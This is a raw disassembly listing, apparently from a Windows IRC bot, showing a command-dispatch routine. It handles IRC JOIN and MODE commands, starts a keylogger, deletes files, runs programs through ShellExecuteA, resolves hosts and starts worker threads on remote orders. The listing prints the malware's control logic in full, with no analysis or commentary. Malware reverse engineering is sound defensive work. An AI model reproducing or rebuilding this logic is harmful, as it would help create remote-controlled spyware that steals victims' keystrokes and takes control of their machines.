		jz	short loc_4085D0
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42C2EC
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C288
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	edi
		call	sub_41BDE9
		add	esp, 38h
		test	eax, eax
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401AA1+6ABEj
		push	offset dword_42C238
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_408EDB
; ---------------------------------------------------------------------------


loc_4085E3:				; CODE XREF: sub_401AA1+4954j
					; sub_401AA1+496Bj
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BC60
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42C200
		push	eax
		mov	[ebp+var_221C],	esi
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Fh
		push	eax
		call	sub_40B254
		add	esp, 40h
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset sub_415189
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4086A7
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C1C4
		jmp	loc_40876B
; ---------------------------------------------------------------------------


loc_40869F:				; CODE XREF: sub_401AA1+6C0Cj
		push	32h
		call	dword_428080	; Sleep


loc_4086A7:				; CODE XREF: sub_401AA1+6BEBj
		cmp	[ebp+var_208C],	ebx
		jz	short loc_40869F
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_4086B4:				; CODE XREF: sub_401AA1+4926j
					; sub_401AA1+493Dj
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BC60
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C198
		push	eax
		mov	[ebp+var_23B0],	esi
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	11h
		push	eax
		call	sub_40B254
		add	esp, 40h
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset sub_414931
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4087A2
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C15C


loc_40876B:				; CODE XREF: sub_401AA1+6BF9j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_40877A:				; CODE XREF: sub_401AA1+6C0Ej
					; sub_401AA1+6D09j
		cmp	[ebp+var_8], ebx
		jnz	loc_403F55
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403F4D
; ---------------------------------------------------------------------------


loc_40879A:				; CODE XREF: sub_401AA1+6D07j
		push	32h
		call	dword_428080	; Sleep


loc_4087A2:				; CODE XREF: sub_401AA1+6CBCj
		cmp	[ebp+var_2220],	ebx
		jz	short loc_40879A
		jmp	short loc_40877A
; ---------------------------------------------------------------------------


loc_4087AC:				; CODE XREF: sub_401AA1+48F8j
					; sub_401AA1+490Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C154
		push	eax
		call	sub_41BEF6
		push	edi
		call	sub_41BDE9
		add	esp, 10h


loc_4087C9:				; CODE XREF: sub_401AA1+6D8Fj
		test	eax, eax
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409567


loc_4087E3:				; CODE XREF: sub_401AA1+7812j
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42C14C
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_4096FD
		jmp	loc_4048B7
; ---------------------------------------------------------------------------


loc_40880C:				; CODE XREF: sub_401AA1+48CAj
					; sub_401AA1+48E1j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_18]
		push	offset dword_42C140
		push	eax
		call	sub_41BEF6
		push	edi
		call	sub_41BDE9
		add	esp, 14h
		jmp	short loc_4087C9
; ---------------------------------------------------------------------------


loc_408832:				; CODE XREF: sub_401AA1+489Cj
					; sub_401AA1+48B3j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		push	edi
		call	sub_41BDE9
		add	esp, 10h
		test	eax, eax
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409567
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42C14C
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_4096FD
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42C124


loc_408896:				; CODE XREF: sub_401AA1+6E7Cj
					; sub_401AA1+6EE7j ...
		call	sub_415FB9
		jmp	loc_4041D9
; ---------------------------------------------------------------------------


loc_4088A0:				; CODE XREF: sub_401AA1+486Ej
					; sub_401AA1+4885j
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4088D1
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C11C
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_4088D1:				; CODE XREF: sub_401AA1+6E19j
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409567
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42C14C
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_4096FD
		push	esi
		push	edi
		push	offset dword_42C100
		jmp	loc_408896
; ---------------------------------------------------------------------------


loc_408922:				; CODE XREF: sub_401AA1+4840j
					; sub_401AA1+4857j
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409567
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	loc_409567
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409567
		push	esi
		push	offset dword_42C14C
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_4096FD
		push	esi
		push	edi
		push	offset dword_42C0E4
		jmp	loc_408896
; ---------------------------------------------------------------------------


loc_40898D:				; CODE XREF: sub_401AA1+4812j
					; sub_401AA1+4829j
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	edi
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409567
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	esi
		push	offset dword_42C0A0


loc_4089BF:				; CODE XREF: sub_401AA1+79A4j
					; sub_401AA1+79BDj ...
		call	sub_415FB9
		jmp	loc_40344D
; ---------------------------------------------------------------------------


loc_4089C9:				; CODE XREF: sub_401AA1+47E4j
					; sub_401AA1+47FBj
		push	[ebp+var_8C]
		push	offset dword_42F4C4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F20
		push	[ebp+arg_18]
		push	offset dword_42C094
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		call	sub_41BDE9
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_428080	; Sleep
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	offset dword_42C064
		call	sub_415F45
		jmp	loc_40344D
; ---------------------------------------------------------------------------


loc_408A2F:				; CODE XREF: sub_401AA1+47B6j
					; sub_401AA1+47CDj
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	edi
		call	sub_41B650
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B650
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BF70
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409567
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C94C
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409743
		push	esi
		push	edi
		push	offset dword_42C02C
		call	sub_415FB9
		add	esp, 2Ch
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_408A9D:				; CODE XREF: sub_401AA1+4788j
					; sub_401AA1+479Fj
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	edi
		call	sub_41B650
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B650
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BF70
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409567
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409743
		push	esi
		push	edi
		push	offset dword_42BFF4
		call	sub_415FB9
		add	esp, 20h
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_408AF3:				; CODE XREF: sub_401AA1+475Aj
					; sub_401AA1+4771j
		cmp	[ebp+var_C], ebx
		jz	loc_401F20
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F20
		push	eax
		push	edi
		call	sub_415E4D
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42BFBC
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		jmp	loc_403F34
; ---------------------------------------------------------------------------


loc_408B32:				; CODE XREF: sub_401AA1+472Cj
					; sub_401AA1+4743j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418B6C


loc_408B47:				; CODE XREF: sub_401AA1+25AEj
		add	esp, 14h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408B4F:				; CODE XREF: sub_401AA1+46ECj
					; sub_401AA1+4703j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409567
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408BE6
		push	esi
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jz	short loc_408BD4
		push	esi
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42C2EC
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BC60
		push	esi
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42BF7C
		push	eax
		call	sub_41BEF6
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_408EFC
; ---------------------------------------------------------------------------


loc_408BD4:				; CODE XREF: sub_401AA1+70E1j
		push	offset dword_42BF30
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	loc_408EFC
; ---------------------------------------------------------------------------


loc_408BE6:				; CODE XREF: sub_401AA1+70CAj
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B355
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		push	edi
		push	offset dword_42BEF8
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 24h
		jmp	loc_408EFC
; ---------------------------------------------------------------------------


loc_408C2D:				; CODE XREF: sub_401AA1+4414j
					; sub_401AA1+442Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aKeyloggerActiv ; "Keylogger active."


loc_408C3A:				; CODE XREF: sub_401AA1+FF6j
					; sub_401AA1+1049j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B4DC
		add	esp, 20h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408C56:				; CODE XREF: sub_401AA1+43E6j
					; sub_401AA1+43FDj
		push	23h
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_408C6C
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_408C6C:				; CODE XREF: sub_401AA1+71BFj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408CE8
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408CCF
		mov	esi, offset aLog_0 ; "#LOG#"
		push	offset byte_4404C4
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408CCF
		mov	esi, [ebp+var_88]


loc_408CCF:				; CODE XREF: sub_401AA1+7210j
					; sub_401AA1+7226j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41BFF0
		push	offset aKeyloggerActiv ; "Keylogger active."
		jmp	short loc_408D3B
; ---------------------------------------------------------------------------


loc_408CE8:				; CODE XREF: sub_401AA1+71FBj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408DB7
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408D24
		mov	esi, offset aLog_0 ; "#LOG#"
		push	offset byte_4404C4
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D24
		mov	esi, [ebp+var_88]


loc_408D24:				; CODE XREF: sub_401AA1+7265j
					; sub_401AA1+727Bj
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41BFF0
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408D3B:				; CODE XREF: sub_401AA1+7245j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	23h
		push	eax
		call	sub_40B254
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_412911
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_408DAA
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_408DA2:				; CODE XREF: sub_401AA1+730Fj
		push	32h
		call	dword_428080	; Sleep


loc_408DAA:				; CODE XREF: sub_401AA1+72EEj
		cmp	[ebp+var_A04], ebx
		jz	short loc_408DA2
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_408DB7:				; CODE XREF: sub_401AA1+7256j
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_408DC1:				; CODE XREF: sub_401AA1+404Dj
					; sub_401AA1+4064j
		push	offset aR	; "r"
		push	edi
		call	sub_41BB32
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408E3B
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		call	sub_41C1BF
		add	esp, 0Ch
		jmp	short loc_408E17
; ---------------------------------------------------------------------------


loc_408DEC:				; CODE XREF: sub_401AA1+7378j
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		call	sub_41C1BF
		add	esp, 20h


loc_408E17:				; CODE XREF: sub_401AA1+7349j
		test	eax, eax
		jnz	short loc_408DEC
		push	esi
		call	sub_41B6CB
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42BE18
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_408E3B:				; CODE XREF: sub_401AA1+7331j
		push	edi
		push	offset dword_42BDDC
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401AA1+401Fj
					; sub_401AA1+4036j
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	edi
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409567
		push	offset asc_42BDD8 ; "\n"
		push	esi
		call	sub_41C530
		push	esi
		call	sub_41A0C2
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408E89
		push	offset unk_42BD98
		jmp	short loc_408ED3
; ---------------------------------------------------------------------------


loc_408E89:				; CODE XREF: sub_401AA1+73DFj
		push	esi
		push	offset dword_42BD60
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	short loc_408EFC
; ---------------------------------------------------------------------------


loc_408E9A:				; CODE XREF: sub_401AA1+3FF1j
					; sub_401AA1+4008j
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	edi
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409567
		push	eax
		call	sub_41889C
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408ECE
		push	offset unk_42BD40
		jmp	short loc_408ED3
; ---------------------------------------------------------------------------


loc_408ECE:				; CODE XREF: sub_401AA1+7424j
		push	offset dword_42BD24


loc_408ED3:				; CODE XREF: sub_401AA1+73E6j
					; sub_401AA1+742Bj
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_408EDB:				; CODE XREF: sub_401AA1+6B3Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EFC
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_408EFC:				; CODE XREF: sub_401AA1+712Ej
					; sub_401AA1+7140j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		pop	ecx
		jmp	loc_409567
; ---------------------------------------------------------------------------


loc_408F0E:				; CODE XREF: sub_401AA1+3FC3j
					; sub_401AA1+3FDAj
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BC60
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408F3D
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_408F3D:				; CODE XREF: sub_401AA1+7488j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42BCF4
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ch
		push	eax
		call	sub_40B254
		add	esp, 24h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset loc_41B41B
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_408FDE
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BCA0
		jmp	loc_4043D3
; ---------------------------------------------------------------------------


loc_408FD6:				; CODE XREF: sub_401AA1+7543j
		push	32h
		call	dword_428080	; Sleep


loc_408FDE:				; CODE XREF: sub_401AA1+7522j
		cmp	[ebp+var_1EF8],	ebx
		jz	short loc_408FD6
		jmp	loc_406BE4
; ---------------------------------------------------------------------------


loc_408FEB:				; CODE XREF: sub_401AA1+3F95j
					; sub_401AA1+3FACj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41061F
		push	edi
		push	offset dword_42BC84
		jmp	loc_408896
; ---------------------------------------------------------------------------


loc_409006:				; CODE XREF: sub_401AA1+3F67j
					; sub_401AA1+3F7Ej
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BC00
		push	edi
		lea	eax, [ebp+var_1D38]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BC60
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ah
		push	eax
		call	sub_40B254
		add	esp, 40h
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset sub_4163CE
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4090D9


loc_4090C0:				; CODE XREF: sub_401AA1+78Ej
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC24
		jmp	loc_40823D
; ---------------------------------------------------------------------------


loc_4090D1:				; CODE XREF: sub_401AA1+763Ej
		push	32h
		call	dword_428080	; Sleep


loc_4090D9:				; CODE XREF: sub_401AA1+761Dj
		cmp	[ebp+var_1BA4],	ebx
		jz	short loc_4090D1
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_4090E6:				; CODE XREF: sub_401AA1+3F39j
					; sub_401AA1+3F50j
		push	edi
		call	dword_428088	; DeleteFileA
		test	eax, eax
		jz	short loc_4090F9
		push	edi
		push	offset dword_42BBE8
		jmp	short loc_409104
; ---------------------------------------------------------------------------


loc_4090F9:				; CODE XREF: sub_401AA1+764Ej
		push	offset dword_42BBC0
		call	sub_4187D7
		push	eax


loc_409104:				; CODE XREF: sub_401AA1+7656j
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0


loc_409115:				; CODE XREF: sub_401AA1+773Ej
		add	esp, 10h
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_40911D:				; CODE XREF: sub_401AA1+3F0Bj
					; sub_401AA1+3F22j
		push	edi
		call	sub_41BDE9
		push	eax
		call	sub_41A03B
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		cmp	eax, esi
		push	edi
		lea	eax, [ebp+var_2C0]
		jnz	short loc_409140
		push	offset dword_42BB78
		jmp	short loc_409145
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401AA1+7696j
		push	offset dword_42BB20


loc_409145:				; CODE XREF: sub_401AA1+769Dj
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406BE7
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h
		jmp	loc_406BE7
; ---------------------------------------------------------------------------


loc_409178:				; CODE XREF: sub_401AA1+3EDDj
					; sub_401AA1+3EF4j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419D3A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40919A
		push	offset dword_42BAD8
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_40919A:				; CODE XREF: sub_401AA1+76EDj
		push	offset dword_42BA88
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_4091A4:				; CODE XREF: sub_401AA1+3EAFj
					; sub_401AA1+3EC6j
		push	edi
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D4], eax
		jz	short loc_4091E4
		push	2
		lea	eax, [ebp+var_2D4]
		push	4
		push	eax
		call	dword_4CE2C0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4091FF
		push	dword ptr [eax]


loc_4091CD:				; CODE XREF: sub_401AA1+775Cj
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42BA68
		push	eax
		call	sub_41BEF6
		jmp	loc_409115
; ---------------------------------------------------------------------------


loc_4091E4:				; CODE XREF: sub_401AA1+7713j
		push	edi
		call	dword_4CE38C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4091FF
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CE394	; inet_ntoa
		push	eax
		jmp	short loc_4091CD
; ---------------------------------------------------------------------------


loc_4091FF:				; CODE XREF: sub_401AA1+7728j
					; sub_401AA1+774Cj
		push	offset unk_42BA40
		jmp	loc_406169
; ---------------------------------------------------------------------------


loc_409209:				; CODE XREF: sub_401AA1+3E81j
					; sub_401AA1+3E98j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BC60
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42BA00
		push	eax
		call	sub_41BEF6
		add	esp, 18h
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_40922E:				; CODE XREF: sub_401AA1+3E53j
					; sub_401AA1+3E6Aj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CE274	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_40924E
		push	offset dword_42B9C4
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_40924E:				; CODE XREF: sub_401AA1+77A1j
		push	offset dword_42B980
		jmp	loc_406BB4
; ---------------------------------------------------------------------------


loc_409258:				; CODE XREF: sub_401AA1+3E25j
					; sub_401AA1+3E3Cj
		mov	al, [edi]
		mov	byte_42A980, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_42B938
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_40926D:				; CODE XREF: sub_401AA1+3DF7j
					; sub_401AA1+3E0Ej
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	loc_409567
		push	edi
		call	sub_41BDE9
